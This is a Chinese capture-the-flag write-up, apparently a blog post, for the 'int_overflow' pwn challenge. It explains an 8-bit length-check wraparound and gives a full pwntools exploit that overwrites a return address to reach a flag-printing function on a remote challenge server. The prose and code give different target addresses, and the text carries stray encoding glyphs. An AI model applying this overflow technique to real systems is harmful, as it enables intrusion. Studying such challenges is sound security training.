int_overflow

image.png

0x00 filechecksec

image.png

0x01 ida查看

  • 有一個(gè)login函數(shù),最后有一個(gè)校驗(yàn)密碼check_passwd函數(shù)
    image.png
  • 對密碼長度進(jìn)行了校驗(yàn),要求長度>3并且<=8,但是這里使用的是unsigned __int8無符號類型,意思就是最大長度是255,但是密碼輸入長度是0x199u,所以存在一個(gè)溢出,只要輸入的密碼長度超過255,在260-264之間即可
    image.png
  • 長度檢查已經(jīng)繞過,那么怎么getshell或者拿到flag呢,查看ida,有一個(gè)what_is_this函數(shù),所以直接返回到0x0804848b即可
    image.png

0x02 完整exp

from pwn import *

local=0
pc='./int_overflow'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 31543]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    cat_flag_addr = 0x0804868b
    ru('choice:')
    sl('1')
    ru('username:\n')
    sl('cxy')
    ru('passwd:\n')
    passwd = 'a'*0x14
    passwd += 'fake'
    passwd += p32(cat_flag_addr)
    passwd += 'b'*232
    sl(passwd)
    p.interactive()

0x03 結(jié)果

image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 整數(shù)溢出題目,checksec 一波 可以進(jìn)行棧溢出,但是我們發(fā)現(xiàn)要到達(dá)溢出點(diǎn)要先繞過v3的檢測,v3是輸入字符串...
    n0va閱讀 982評論 2 1
  • 1.檢查安全機(jī)制 2.找到溢出點(diǎn) 利用思路:有點(diǎn)不理解整數(shù)溢出 1.發(fā)現(xiàn)v3是8位無符號整數(shù),則最大只能是255。...
    Zero_0_0閱讀 620評論 0 1
  • 接下來我們看Base文件夾下的UIKIt文件夾的內(nèi)容。 1.UIColor+YYAdd 這里看了這個(gè)類,里面有許多...
    充滿活力的早晨閱讀 2,473評論 0 1
  • 恭喜恭喜! 新婚快樂!! 三年抱倆!! 知道你們結(jié)婚 特別特別開心! 當(dāng)你們看到這個(gè) 我人生第一次做的簡書的時(shí)候!...
    汪汪小超人閱讀 591評論 0 0
  • 在和姍成為好友之前,我一直不知道,女人還有第二張臉。 那天,她正在修指甲,涂指甲油,非常細(xì)心的樣子,我看她那一本正...
    舊事隨流水閱讀 422評論 0 4

友情鏈接更多精彩內(nèi)容